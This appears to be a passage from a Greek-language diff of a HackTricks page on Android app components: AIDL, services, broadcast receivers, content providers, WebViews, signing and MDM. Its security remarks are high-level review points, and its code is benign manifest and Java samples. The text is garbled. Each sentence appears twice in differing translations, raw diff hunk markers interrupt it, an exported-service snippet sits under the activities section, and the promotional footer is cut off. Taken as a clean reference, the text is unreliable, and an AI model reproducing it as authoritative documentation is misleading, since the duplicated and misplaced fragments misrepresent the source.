Μάθετε πώς να [καλείτε deep links χωρίς τη χρήση σελίδων HTML](./#exploiting-schemes-deep-links).
Μάθετε πώς να [καλείτε deep links χωρίς να χρησιμοποιείτε σελίδες HTML](./#exploiting-schemes-deep-links).
## AIDL - Android Interface Definition Language
## AIDL - Γλώσσα Ορισμού Διεπαφής Android
Η **Γλώσσα Ορισμού Διεπαφής Android (AIDL)** σχεδιάστηκε για τη διευκόλυνση της επικοινωνίας μεταξύ πελάτη και υπηρεσίας σε εφαρμογές Android μέσω **διαδικασίας μεταξύ διεργασιών** (IPC). Δεδομένου ότι η πρόσβαση απευθείας στη μνήμη μιας άλλης διεργασίας δεν επιτρέπεται στο Android, η AIDL απλοποιεί τη διαδικασία με το να μετατρέπει αντικείμενα σε ένα μορφότυπο που κατανοεί το λειτουργικό σύστημα, διευκολύνοντας έτσι την επικοινωνία μεταξύ διαφορετικών διεργασιών.
Η **Γλώσσα Ορισμού Διεπαφής Android (AIDL)** έχει σχεδιαστεί για να διευκολύνει την επικοινωνία μεταξύ πελάτη και υπηρεσίας σε εφαρμογές Android μέσω **διαδικαστικής επικοινωνίας** (IPC). Δεδομένου ότι η άμεση πρόσβαση στη μνήμη άλλης διαδικασίας δεν επιτρέπεται στο Android, η AIDL απλοποιεί τη διαδικασία μαρσάροντας αντικείμενα σε μια μορφή που κατανοεί το λειτουργικό σύστημα, διευκολύνοντας έτσι την επικοινωνία μεταξύ διαφορετικών διαδικασιών.
### Βασικές Έννοιες
- **Υπηρεσίες που είναι συνδεδεμένες**: Αυτές οι υπηρεσίες χρησιμοποιούν την AIDL για IPC, επιτρέποντας σε δραστηριότητες ή στοιχεία να συνδέονται με μια υπηρεσία, να κάνουν αιτήσεις και να λαμβάνουν απαντήσεις. Η μέθοδος `onBind` στην κλάση της υπηρεσίας είναι κρίσιμη για την έναρξη της αλληλεπίδρασης, καθιστώντας την έναν ζωτικό τομέα για αναθεώρηση ασφάλειας ώστε να αναζητηθούν ευπάθειες.
- **Δεσμευμένες Υπηρεσίες**: Αυτές οι υπηρεσίες χρησιμοποιούν AIDL για IPC, επιτρέποντας σε δραστηριότητες ή συστατικά να συνδεθούν με μια υπηρεσία, να κάνουν αιτήματα και να λαμβάνουν απαντήσεις. Η μέθοδος `onBind` στην κλάση της υπηρεσίας είναι κρίσιμη για την έναρξη της αλληλεπίδρασης, καθιστώντας την μια ζωτική περιοχή για ανασκόπηση ασφαλείας στην αναζήτηση ευπαθειών.
- **Messenger**: Λειτουργώντας ως συνδεδεμένη υπηρεσία, ο Messenger διευκολύνει το IPC με έμφαση στην επεξεργασία δεδομένων μέσω της μεθόδου `onBind`. Είναι ουσιώδες να ελέγξετε προσεκτικά αυτήν τη μέθοδο για οποιαδήποτε μη ασφαλή χειρισμό δεδομένων ή εκτέλεση ευαίσθητων λειτουργιών.
- **Messenger**: Λειτουργώντας ως δεσμευμένη υπηρεσία, ο Messenger διευκολύνει την IPC με έμφαση στην επεξεργασία δεδομένων μέσω της μεθόδου `onBind`. Είναι απαραίτητο να εξετάσετε αυτή τη μέθοδο προσεκτικά για οποιαδήποτε μη ασφαλή διαχείριση δεδομένων ή εκτέλεση ευαίσθητων λειτουργιών.
- **Binder**: Παρόλο που η άμεση χρήση της κλάσης Binder είναι λιγότερο συνηθισμένη λόγω της αφαίρεσης της AIDL, είναι χρήσιμο να κατανοήσετε ότι ο Binder λειτουργεί ως οδηγός σε επίπεδο πυρήνα που διευκολύνει τη μεταφορά δεδομένων μεταξύ των χώρων μνήμης διαφορετικών διεργασιών. Για περισσότερη κατανόηση, υπάρχει ένας πόρος στο [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8).
- **Binder**: Αν και η άμεση χρήση της κλάσης Binder είναι λιγότερο συνηθισμένη λόγω της αφαίρεσης της AIDL, είναι χρήσιμο να κατανοήσετε ότι ο Binder λειτουργεί ως οδηγός επιπέδου πυρήνα διευκολύνοντας τη μεταφορά δεδομένων μεταξύ των χώρων μνήμης διαφορετικών διαδικασιών. Για περαιτέρω κατανόηση, υπάρχει διαθέσιμος πόρος στο [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8).
## Στοιχεία
## Συστατικά
Αυτά περιλαμβάνουν: **Δραστηριότητες, Υπηρεσίες, Δέκτες Εκπομπής και Παροχείς.**
Αυτά περιλαμβάνουν: **Δραστηριότητες, Υπηρεσίες, Δέκτες Εκπομπών και Παρόχους.**
### Δραστηριότητες εκκίνησης και άλλες δραστηριότητες
### Δραστηριότητα Εκκίνησης και άλλες δραστηριότητες
Στις εφαρμογές Android, οι **δραστηριότητες** είναι σαν οθόνες, εμφανίζοντας διαφορετικά τμήματα της διεπαφής χρήστη της εφαρμογής. Μια εφαρμογή μπορεί να έχει πολλές δραστηριότητες, καθεμία παρουσιάζοντας μια μοναδική οθόνη στον χρήστη.
Στις εφαρμογές Android, οι **δραστηριότητες** είναι σαν οθόνες, που δείχνουν διάφορα μέρη της διεπαφής χρήστη της εφαρμογής. Μια εφαρμογή μπορεί να έχει πολλές δραστηριότητες, καθεμία από τις οποίες παρουσιάζει μια μοναδική οθόνη στον χρήστη.
Η **δραστηριότητα εκκίνησης** είναι η κύρια πύλη εισόδου σε μια εφαρμογή, εκκινούμενη όταν πατάτε το εικονίδιο της εφαρμογής. Ορίζεται στο αρχείο με τις δηλώσεις της εφαρμογής με συγκεκριμένες προθέσεις MAIN και LAUNCHER:
Η **δραστηριότητα εκκίνησης** είναι η κύρια πύλη σε μια εφαρμογή, που εκκινείται όταν πατάτε το εικονίδιο της εφαρμογής. Είναι καθορισμένη στο αρχείο μανιφέστ της εφαρμογής με συγκεκριμένα MAIN και LAUNCHER intents:
```markup
<activity android:name=".LauncherActivity">
<intent-filter>
@ -223,19 +266,19 @@ android:host="example"
</intent-filter>
</activity>
```
Δεν όλες οι εφαρμογές χρειάζονται μια δραστηριότητα εκκίνησης, ειδικά αυτές που δεν έχουν διεπαφή χρήστη, όπως οι υπηρεσίες φόντου.
Όχι όλες οι εφαρμογές χρειάζονται μια δραστηριότητα εκκίνησης, ειδικά αυτές χωρίς διεπαφή χρήστη, όπως οι υπηρεσίες φόντου.
Οι δραστηριότητες μπορούν να γίνουν διαθέσιμες σε άλλες εφαρμογές ή διεργασίες επισημαίνοντάς τες ως "εξαγωγή" στον πίνακα. Αυτή η ρύθμιση επιτρέπει σε άλλες εφαρμογές να ξεκινήσουν αυτήν τη δραστηριότητα:
Οι δραστηριότητες μπορούν να γίνουν διαθέσιμες σε άλλες εφαρμογές ή διεργασίες σημειώνοντάς τες ως "exported" στο μανιφέστο. Αυτή η ρύθμιση επιτρέπει σε άλλες εφαρμογές να ξεκινούν αυτή τη δραστηριότητα:
```markdown
<service android:name=".ExampleExportedService" android:exported="true"/>
```
Ωστόσο, η πρόσβαση σε μια δραστηριότητα από μια άλλη εφαρμογή δεν αποτελεί πάντα κίνδυνο για την ασφάλεια. Η ανησυχία προκύπτει εάν ευαίσθητα δεδομένα κοινοποιούνται εσφαλμένα, κάτι που θα μπορούσε να οδηγήσει σε διαρροές πληροφοριών.
Ωστόσο, η πρόσβαση σε μια δραστηριότητα από μια άλλη εφαρμογή δεν είναι πάντα κίνδυνος ασφαλείας. Η ανησυχία προκύπτει αν ευαίσθητα δεδομένα μοιράζονται ακατάλληλα, κάτι που θα μπορούσε να οδηγήσει σε διαρροές πληροφοριών.
Η διαδικασία ζωής μιας δραστηριότητας **ξεκινά με τη μέθοδο onCreate**, δημιουργώντας το UI και προετοιμάζοντας τη δραστηριότητα για αλληλεπίδραση με τον χρήστη.
Ο κύκλος ζωής μιας δραστηριότητας **ξεκινά με τη μέθοδο onCreate**, ρυθμίζοντας το UI και προετοιμάζοντας τη δραστηριότητα για αλληλεπίδραση με τον χρήστη.
### Υποκλάση Εφαρμογής
Στην ανάπτυξη Android, μια εφαρμογή έχει τη δυνατότητα να δημιουργήσει μια **υποκλάση** της [Κλάσης Εφαρμογής](https://developer.android.com/reference/android/app/Application), αν και δεν είναι υποχρεωτικό. Όταν ορίζεται μια τέτοια υποκλάση, γίνεται η πρώτη κλάση που δημιουργείται στην εφαρμογή. Η μέθοδος **`attachBaseContext`**, εάν υλοποιηθεί σε αυτή την υποκλάση, εκτελείται πριν τη μέθοδο **`onCreate`**. Αυτή η ρύθμιση επιτρέπει την πρώιμη αρχικοποίηση πριν ξεκινήσει η υπόλοιπη εφαρμογή.
Στην ανάπτυξη Android, μια εφαρμογή έχει την επιλογή να δημιουργήσει μια **υποκλάση** της [Application](https://developer.android.com/reference/android/app/Application) κλάσης, αν και δεν είναι υποχρεωτική. Όταν οριστεί μια τέτοια υποκλάση, γίνεται η πρώτη κλάση που θα δημιουργηθεί μέσα στην εφαρμογή. Η μέθοδος **`attachBaseContext`**, αν υλοποιηθεί σε αυτή την υποκλάση, εκτελείται πριν από τη μέθοδο **`onCreate`**. Αυτή η ρύθμιση επιτρέπει την πρώιμη αρχικοποίηση πριν ξεκινήσει το υπόλοιπο της εφαρμογής.
```java
public class MyApp extends Application {
@Override
@ -253,33 +296,33 @@ super.onCreate();
```
### Υπηρεσίες
[Οι υπηρεσίες](https://developer.android.com/guide/components/services) είναι **φόντο λειτουργοί** ικανοί να εκτελούν εργασίες χωρίς διεπαφή χρήστη. Αυτές οι εργασίες μπορούν να συνεχίσουν να εκτελούνται ακόμα και όταν οι χρήστες μεταβαίνουν σε διαφορετικές εφαρμογές, κάνοντας τις υπηρεσίες κρίσιμες για **εργασίες με μεγάλη διάρκεια**.
[Υπηρεσίες](https://developer.android.com/guide/components/services) είναι **λειτουργίες παρασκηνίου** ικανές να εκτελούν εργασίες χωρίς διεπαφή χρήστη. Αυτές οι εργασίες μπορούν να συνεχίσουν να εκτελούνται ακόμη και όταν οι χρήστες αλλάζουν σε διαφορετικές εφαρμογές, καθιστώντας τις υπηρεσίες κρίσιμες για **μακροχρόνιες λειτουργίες**.
Οι υπηρεσίες είναι ευέλικτες. Μπορούν να εκκινηθούν με διάφορους τρόπους, με τα **Intents** να είναι ο κύριος τρόπος εκκίνησής τους ως σημείο εισόδου μιας εφαρμογής. Μόλις μια υπηρεσία ξεκινήσει χρησιμοποιώντας τη μέθοδο `startService`, η μέθοδος `onStart` της ενεργοποιείται και συνεχίζει να εκτελείται μέχρι να κληθεί εκ των υστέρων η μέθοδος `stopService`. Εναλλακτικά, αν ο ρόλος μιας υπηρεσίας εξαρτάται από μια ενεργή σύνδεση πελάτη, χρησιμοποιείται η μέθοδος `bindService` για τη σύνδεση του πελάτη με την υπηρεσία, ενεργοποιώντας τη μέθοδο `onBind` για τη μετάδοση δεδομένων.
Οι υπηρεσίες είναι ευέλικτες; μπορούν να ξεκινήσουν με διάφορους τρόπους, με τις **Intents** να είναι η κύρια μέθοδος για την εκκίνησή τους ως σημείο εισόδου μιας εφαρμογής. Μόλις ξεκινήσει μια υπηρεσία χρησιμοποιώντας τη μέθοδο `startService`, η μέθοδος `onStart` ενεργοποιείται και συνεχίζει να εκτελείται μέχρι να κληθεί ρητά η μέθοδος `stopService`. Εναλλακτικά, εάν ο ρόλος μιας υπηρεσίας εξαρτάται από μια ενεργή σύνδεση πελάτη, χρησιμοποιείται η μέθοδος `bindService` για τη σύνδεση του πελάτη με την υπηρεσία, ενεργοποιώντας τη μέθοδο `onBind` για τη μεταφορά δεδομένων.
Ένα ενδιαφέρον παράδειγμα χρήσης των υπηρεσιών περιλαμβάνει την αναπαραγωγή μουσικής στο φόντο ή τη λήψη δεδομένων δικτύου χωρίς να εμποδίζεται η αλληλεπίδραση του χρήστη με μια εφαρμογή. Επιπλέον, οι υπηρεσίες μπορούν να γίνουν προσβάσιμες σε άλλες διεργασίες στην ίδια συσκευή μέσω της **εξαγωγής**. Αυτή δεν είναι η προεπιλεγμένη συμπεριφορά και απαιτεί σαφή ρύθμιση στο αρχείο Android Manifest:
Μια ενδιαφέρουσα εφαρμογή των υπηρεσιών περιλαμβάνει την αναπαραγωγή μουσικής παρασκηνίου ή την ανάκτηση δεδομένων δικτύου χωρίς να εμποδίζεται η αλληλεπίδραση του χρήστη με μια εφαρμογή. Επιπλέον, οι υπηρεσίες μπορούν να γίνουν προσβάσιμες σε άλλες διεργασίες στην ίδια συσκευή μέσω **εξαγωγής**. Αυτό δεν είναι η προεπιλεγμένη συμπεριφορά και απαιτεί ρητή ρύθμιση στο αρχείο Android Manifest:
```xml
<service android:name=".ExampleExportedService" android:exported="true"/>
```
### Ανακοινωτές Εκπομπής
### Broadcast Receivers
Οι **ανακοινωτές εκπομπής** λειτουργούν ως ακροατές σε ένα σύστημα μηνυμάτων, επιτρέποντας σε πολλές εφαρμογές να ανταποκριθούν στα ίδια μηνύματα από το σύστημα. Μια εφαρμογή μπορεί να **καταχωρήσει έναν ανακοινωτή** με **δύο κύριους τρόπους**: μέσω του **Μανιφέστου** της εφαρμογής ή **δυναμικά** μέσα στον κώδικα της εφαρμογής μέσω του API **`registerReceiver`**. Στο Μανιφέστο, οι εκπομπές φιλτράρονται με δικαιώματα, ενώ οι δυναμικά καταχωρημένοι ανακοινωτές μπορούν επίσης να καθορίσουν δικαιώματα κατά την καταχώρηση.
**Broadcast receivers** δρουν ως ακροατές σε ένα σύστημα μηνυμάτων, επιτρέποντας σε πολλές εφαρμογές να ανταποκριθούν στα ίδια μηνύματα από το σύστημα. Μια εφαρμογή μπορεί να **καταχωρήσει έναν δέκτη** με **δύο κύριους τρόπους**: μέσω του **Manifest** της εφαρμογής ή **δυναμικά** μέσα στον κώδικα της εφαρμογής μέσω του **`registerReceiver`** API. Στο Manifest, οι εκπομπές φιλτράρονται με άδειες, ενώ οι δυναμικά καταχωρημένοι δέκτες μπορούν επίσης να καθορίσουν άδειες κατά την καταχώρηση.
Οι **φίλτρα Intent** είναι κρίσιμα σε και τους δύο τρόπους καταχώρησης, καθορίζοντας ποιες εκπομπές ενεργοποιούν τον ανακοινωτή. Μόλα που στάλθηκε μια αντιστοιχίζουσα εκπομπή, ενεργοποιείται η μέθοδος **`onReceive`** του ανακοινωτή, επιτρέποντας στην εφαρμογή να αντιδράσει ανάλογα, όπως προσαρμογή της συμπεριφοράς σε απάντηση σε μια ειδοποίηση χαμηλής μπαταρίας.
**Intent filters** είναι κρίσιμης σημασίας και για τις δύο μεθόδους καταχώρησης, καθορίζοντας ποιες εκπομπές ενεργοποιούν τον δέκτη. Μόλις σταλεί μια αντίστοιχη εκπομπή, η μέθοδος **`onReceive`** του δέκτη καλείται, επιτρέποντας στην εφαρμογή να αντιδράσει αναλόγως, όπως η προσαρμογή της συμπεριφοράς σε απάντηση σε μια ειδοποίηση χαμηλής μπαταρίας.
Οι εκπομπές μπορούν να είναι είτε **ασύγχρονες**, φτάνοντας σε όλους τους ανακοινωτές χωρίς σειρά, είτε **σύγχρονες**, όπου οι ανακοινωτές λαμβάνουν την εκπομπή με βάση τις καθορισμένες προτεραιότητες. Ωστόσο, είναι σημαντικό να σημειωθεί ο δυνητικός κίνδυνος για την ασφάλεια, καθώς οποιαδήποτε εφαρμογή μπορεί να δώσει προτεραιότητα στον εαυτό της για να παρεμβαίνει σε μια εκπομπή.
Οι εκπομπές μπορεί να είναι είτε **ασύγχρονες**, φτάνοντας σε όλους τους δέκτες χωρίς σειρά, είτε **σύγχρονες**, όπου οι δέκτες λαμβάνουν την εκπομπή με βάση καθορισμένες προτεραιότητες. Ωστόσο, είναι σημαντικό να σημειωθεί ο πιθανός κίνδυνος ασφαλείας, καθώς οποιαδήποτε εφαρμογή μπορεί να δώσει προτεραιότητα στον εαυτό της για να παρεμποδίσει μια εκπομπή.
Για να κατανοήσετε τη λειτουργικότητα ενός ανακοινωτή, αναζητήστε τη μέθοδο **`onReceive`** μέσα στην κλάση του. Ο κώδικας αυτής της μεθόδου μπορεί να χειριστεί το ληφθέν Intent, υπογραμμίζοντας την ανάγκη επικύρωσης δεδομένων από τους ανακοινωτές, ειδικά σε **Ταξινομημένες Εκπομπές**, οι οποίες μπορούν να τροποποιήσουν ή να απορρίψουν το Intent.
Για να κατανοήσετε τη λειτουργικότητα ενός δέκτη, αναζητήστε τη μέθοδο **`onReceive`** μέσα στην κλάση του. Ο κώδικας αυτής της μεθόδου μπορεί να χειριστεί το ληφθέν Intent, υπογραμμίζοντας την ανάγκη για επικύρωση δεδομένων από τους δέκτες, ειδικά σε **Ordered Broadcasts**, οι οποίες μπορούν να τροποποιήσουν ή να απορρίψουν το Intent.
### Πάροχοι Περιεχομένου
### Content Provider
Οι **Πάροχοι Περιεχομένου** είναι ουσιώδεις για το **διαμοιρασμό δομημένων δεδομένων** μεταξύ εφαρμογών, τονίζοντας τη σημασία της υλοποίησης **δικαιωμάτων** για να διασφαλιστεί η ασφάλεια των δεδομένων. Επιτρέπουν στις εφαρμογές να έχουν πρόσβαση σε δεδομένα από διάφορες πηγές, συμπεριλαμβανομένων βάσεων δεδομένων, συστημάτων αρχείων ή του web. Ειδικά δικαιώματα, όπως **`readPermission`** και **`writePermission`**, είναι κρίσιμα για τον έλεγχο της πρόσβασης. Επιπλέον, μπορεί να χορηγηθεί προσωρινή πρόσβαση μέσω ρυθμίσεων **`grantUriPermission`** στο μανιφέστο της εφαρμογής, εκμεταλλευόμενο χαρακτηριστικά όπως `path`, `pathPrefix` και `pathPattern` για λεπτομερή έλεγχο πρόσβασης.
**Content Providers** είναι απαραίτητοι για **την κοινή χρήση δομημένων δεδομένων** μεταξύ εφαρμογών, τονίζοντας τη σημασία της εφαρμογής **αδειών** για την εξασφάλιση της ασφάλειας των δεδομένων. Επιτρέπουν στις εφαρμογές να έχουν πρόσβαση σε δεδομένα από διάφορες πηγές, συμπεριλαμβανομένων βάσεων δεδομένων, συστημάτων αρχείων ή του διαδικτύου. Συγκεκριμένες άδειες, όπως **`readPermission`** και **`writePermission`**, είναι κρίσιμες για τον έλεγχο της πρόσβασης. Επιπλέον, προσωρινή πρόσβαση μπορεί να παραχωρηθεί μέσω ρυθμίσεων **`grantUriPermission`** στο manifest της εφαρμογής, αξιοποιώντας χαρακτηριστικά όπως `path`, `pathPrefix` και `pathPattern` για λεπτομερή έλεγχο πρόσβασης.
Η επικύρωση εισόδου είναι ζωτικής σημασίας για την πρόληψη ευπαθειών, όπως η εισχώρηση SQL. Οι Πάροχοι Περιεχομένου υποστηρίζουν βασικές λειτουργίες: `insert()`, `update()`, `delete()` και `query()`, διευκολύνοντας τη διαχείριση δεδομένων και τον διαμοιρασμό μεταξύ εφαρμογών.
Η επικύρωση εισόδου είναι πρωταρχικής σημασίας για την αποφυγή ευπαθειών, όπως η SQL injection. Οι Content Providers υποστηρίζουν βασικές λειτουργίες: `insert()`, `update()`, `delete()`, και `query()`, διευκολύνοντας τη χειρισμό και την κοινή χρήση δεδομένων μεταξύ εφαρμογών.
**FileProvider**, ένας εξειδικευμένος Πάροχος Περιεχομένου, επικεντρώνεται στον ασφαλή διαμοιρασμό αρχείων. Ορίζεται στο μανιφέστο της εφαρμογής με συγκεκριμένα χαρακτηριστικά για τον έλεγχο της πρόσβασης σε φακέλους, που υποδεικνύονται από τα `android:exported` και `android:resource` που δείχνουν σε ρυθμίσεις φακέλων. Συνιστάται προσοχή κατά τον διαμοιρασμό καταλόγων για να αποφευχθεί η αποκάλυψη ευαίσθητων δεδομένων κατά λάθος.
**FileProvider**, ένας εξειδικευμένος Content Provider, επικεντρώνεται στην ασφαλή κοινή χρήση αρχείων. Ορίζεται στο manifest της εφαρμογής με συγκεκριμένα χαρακτηριστικά για τον έλεγχο πρόσβασης σε φακέλους, που δηλώνονται με `android:exported` και `android:resource` που δείχνουν στις ρυθμίσεις φακέλων. Συνιστάται προσοχή κατά την κοινή χρήση καταλόγων για να αποφευχθεί η τυχαία έκθεση ευαίσθητων δεδομένων.
Παράδειγμα δήλωσης μανιφέστου για το FileProvider:
Παράδειγμα δήλωσης manifest για FileProvider:
```xml
<provider android:name="androidx.core.content.FileProvider"
android:authorities="com.example.myapp.fileprovider"
@ -289,7 +332,7 @@ android:exported="false">
android:resource="@xml/filepaths" />
</provider>
```
Και ένα παράδειγμα καθορισμού κοινόχρηστων φακέλων στο `filepaths.xml`:
Και ένα παράδειγμα καθορισμού κοινών φακέλων στο `filepaths.xml`:
```xml
<paths>
<files-path path="images/" name="myimages" />
@ -301,37 +344,37 @@ android:resource="@xml/filepaths" />
## WebViews
Τα WebViews είναι σαν **μικροί web browsers** μέσα σε εφαρμογές Android, εμφανίζοντας περιεχόμενο είτε από το web είτε από τοπικά αρχεία. Αντιμετωπίζουν παρόμοιους κινδύνους με τους κανονικούς browsers, ωστόσο υπάρχουν τρόποι για να **μειωθούν αυτοί οι κίνδυνοι** μέσω συγκεκριμένων **ρυθμίσεων**.
Τα WebViews είναι σαν **μικροί περιηγητές ιστού** μέσα σε εφαρμογές Android, αντλώντας περιεχόμενο είτε από το διαδίκτυο είτε από τοπικά αρχεία. Αντιμετωπίζουν παρόμοιους κινδύνους με τους κανονικούς περιηγητές, ωστόσο υπάρχουν τρόποι για να **μειωθούν αυτοί οι κίνδυνοι** μέσω συγκεκριμένων **ρυθμίσεων**.
Το Android προσφέρει δύο κύριους τύπους WebView:
Η Android προσφέρει δύο κύριους τύπους WebView:
- Ο **WebViewClient** είναι ιδανικός για βασικό HTML αλλά δεν υποστηρίζει τη λειτουργία ειδοποίησης JavaScript, επηρεάζοντας τον τρόπο που μπορούν να δοκιμαστούν οι επιθέσεις XSS.
- Ο **WebChromeClient** λειτουργεί περισσότερο σαν την πλήρη εμπειρία του πλοηγού Chrome.
- **WebViewClient** είναι εξαιρετικός για βασικό HTML αλλά δεν υποστηρίζει τη λειτουργία ειδοποίησης JavaScript, επηρεάζοντας τον τρόπο που μπορούν να δοκιμαστούν οι επιθέσεις XSS.
- **WebChromeClient** λειτουργεί περισσότερο σαν την πλήρη εμπειρία του περιηγητή Chrome.
Ένα σημαντικό σημείο είναι ότι οι WebView browsers **δεν μοιράζονται cookies** με τον κύριο browser της συσκευής.
Ένα βασικό σημείο είναι ότι οι περιηγητές WebView **δεν μοιράζονται cookies** με τον κύριο περιηγητή της συσκευής.
Για τη φόρτωση περιεχομένου, διατίθενται μέθοδοι όπως η ````loadUrl````, ````loadData```` και ````loadDataWithBaseURL````. Είναι κρίσιμο να εξασφαλίσετε ότι αυτά τα URLs ή αρχεία είναι **ασφαλή για χρήση**. Οι ρυθμίσεις ασφαλείας μπορούν να διαχειριστούν μέσω της κλάσης ````WebSettings````. Για παράδειγμα, η απενεργοποίηση του JavaScript με την εντολή ````setJavaScriptEnabled(false)```` μπορεί να αποτρέψει επιθέσεις XSS.
Για τη φόρτωση περιεχομένου, είναι διαθέσιμες μέθοδοι όπως ````loadUrl````, ````loadData````, και ````loadDataWithBaseURL````. Είναι κρίσιμο να διασφαλιστεί ότι αυτές οι διευθύνσεις URL ή τα αρχεία είναι **ασφαλή προς χρήση**. Οι ρυθμίσεις ασφαλείας μπορούν να διαχειριστούν μέσω της κλάσης ````WebSettings````. Για παράδειγμα, η απενεργοποίηση της JavaScript με ````setJavaScriptEnabled(false)```` μπορεί να αποτρέψει επιθέσεις XSS.
Η γέφυρα JavaScript επιτρέπει στα αντικείμενα Java να αλληλεπιδρούν με το JavaScript, απαιτώντας οι μέθοδοι να επισημαίνονται με το ````@JavascriptInterface```` για ασφάλεια από το Android 4.2 και μετά.
Η JavaScript "Bridge" επιτρέπει στα αντικείμενα Java να αλληλεπιδρούν με τη JavaScript, απαιτώντας οι μέθοδοι να είναι επισημασμένες με ````@JavascriptInterface```` για ασφάλεια από την Android 4.2 και μετά.
Η επιτροπή πρόσβασης περιεχομένου (````setAllowContentAccess(true)````) επιτρέπει στις WebViews να φτάσουν τους Content Providers, που θα μπορούσε να αποτελέσει κίνδυνο εκτός αν επαληθευτούν τα URLs του περιεχομένου ως ασφαλή.
Η επιτρεπόμενη πρόσβαση περιεχομένου (````setAllowContentAccess(true)````) επιτρέπει στα WebViews να προσεγγίζουν Content Providers, κάτι που θα μπορούσε να είναι κίνδυνος εκτός αν οι διευθύνσεις URL περιεχομένου επαληθευτούν ως ασφαλείς.
Για τον έλεγχο της πρόσβασης σε αρχεία:
- Η απενεργοποίηση της πρόσβασης σε αρχεία (````setAllowFileAccess(false)````) περιορίζει την πρόσβαση στο σύστημα αρχείων, με εξαιρέσεις για συγκεκριμένα assets, εξασφαλίζοντας ότι χρησιμοποιούνται μόνο για μη-ευαίσθητο περιεχόμενο.
Για τον έλεγχο πρόσβασης σε αρχεία:
- Η απενεργοποίηση της πρόσβασης σε αρχεία (````setAllowFileAccess(false)````) περιορίζει την πρόσβαση στο σύστημα αρχείων, με εξαιρέσεις για ορισμένα περιουσιακά στοιχεία, διασφαλίζοντας ότι χρησιμοποιούνται μόνο για μη ευαίσθητο περιεχόμενο.
## Άλλα Στοιχεία Εφαρμογών και Διαχείρισης Κινητών Συσκευών
## Άλλα Συστατικά Εφαρμογών και Διαχείριση Κινητών Συσκευών
### **Ψηφιακή Υπογραφή Εφαρμογών**
- Η **ψηφιακή υπογραφή** είναι απαραίτητη για τις εφαρμογές Android, εξασφαλίζοντας ότι είναι **αυθεντικά υπογεγραμμένες** πριν την εγκατάσταση. Αυτή η διαδικασία χρησιμοποιεί ένα πιστοποιητικό για την ταυτοποίηση της εφαρμογής και πρέπει να επαληθεύεται από τον διαχειριστή πακέτων της συσκευής κατά την εγκατάσταση. Οι εφαρμογές μπορούν να είναι **αυτο-υπογεγραμμένες ή πιστοποιημένες από εξωτερική αρχή**, προστατεύοντας από μη εξουσιοδοτημένη πρόσβαση και εξασφαλίζοντας ότι η εφαρμογή παραμένει αμετάβλητη κατά την παράδοσή της στη συσκευή.
- Η **ψηφιακή υπογραφή** είναι απαραίτητη για τις εφαρμογές Android, διασφαλίζοντας ότι είναι **αυθεντικά συγγραφείς** πριν από την εγκατάσταση. Αυτή η διαδικασία χρησιμοποιεί ένα πιστοποιητικό για την αναγνώριση της εφαρμογής και πρέπει να επαληθευτεί από τον διαχειριστή πακέτων της συσκευής κατά την εγκατάσταση. Οι εφαρμογές μπορούν να είναι **αυτο-υπογεγραμμένες ή πιστοποιημένες από εξωτερικό CA**, προστατεύοντας από μη εξουσιοδοτημένη πρόσβαση και διασφαλίζοντας ότι η εφαρμογή παραμένει αμετάβλητη κατά την παράδοσή της στη συσκευή.
### **Επαλήθευση Εφαρμογών για Ενισχυμένη Ασφάλεια**
### **Επαλήθευση Εφαρμογών για Αυξημένη Ασφάλεια**
- Ξεκινώντας από το **Android 4.2**, μια λειτουργία που ονομάζεται **Επαλήθευση Εφαρμογών** επιτρέπει στους χρήστες να ελέγχουν τις εφαρμογές για ασφάλεια πριν την εγκατάσταση. Αυτή η **διαδικασία επαλήθευσης** μπορεί να προειδοποιήσει τους χρήστες για πιθανά επικίνδυνες εφαρμογές, ή ακόμα και να αποτρέψει την εγκατάσταση ιδιαίτερα κακόβουλων, βελτιώνοντας την ασφάλεια του χρήστη.
- Ξεκινώντας από την **Android 4.2**, μια δυνατότητα που ονομάζεται **Verify Apps** επιτρέπει στους χρήστες να ελέγχουν τις εφαρμογές για ασφάλεια πριν από την εγκατάσταση. Αυτή η **διαδικασία επαλήθευσης** μπορεί να προειδοποιήσει τους χρήστες για πιθανώς επιβλαβείς εφαρμογές ή ακόμη και να αποτρέψει την εγκατάσταση ιδιαίτερα κακόβουλων, ενισχύοντας την ασφάλεια του χρήστη.
### **Διαχείριση Κινητών Συσκευών (MDM)**
- Οι **λύσεις MDM** παρέχουν **επίβλεψη και ασφάλεια** για κινητές συσκευές μέσω του **API Διαχείρισης Συσκευών**. Απαιτούν την εγκατάσταση μιας εφαρμογής Android για την αποτελεσματική διαχείριση και ασφάλιση κινητών συσκευών. Κύριες λειτουργίες περιλαμβάνουν την **επιβολή πολιτικών κωδικών πρόσβασης**, την **υποχρέωση κρυπτογράφησης αποθήκευσης** και την **επιτροπή απομάκρυνσης δεδομένων**, εξασφαλίζοντας πλήρη έλεγχο και ασφάλεια πάνω στις κινητές συσκευές.
- Οι **λύσεις MDM** παρέχουν **επίβλεψη και ασφάλεια** για κινητές συσκευές μέσω του **Device Administration API**. Απαιτούν την εγκατάσταση μιας εφαρμογής Android για να διαχειρίζονται και να ασφαλίζουν αποτελεσματικά τις κινητές συσκευές. Οι βασικές λειτουργίες περιλαμβάνουν **επιβολή πολιτικών κωδικών πρόσβασης**, **υποχρεωτική κρυπτογράφηση αποθήκευσης**, και **άδεια απομακρυσμένης διαγραφής δεδομένων**, διασφαλίζοντας πλήρη έλεγχο και ασφάλεια πάνω στις κινητές συσκευές.
```java
// Example of enforcing a password policy with MDM
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
@ -342,22 +385,23 @@ if (dpm.isAdminActive(adminComponent)) {
dpm.setPasswordMinimumLength(adminComponent, 8);
}
```
**Ομάδα Ασφαλείας Try Hard**
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
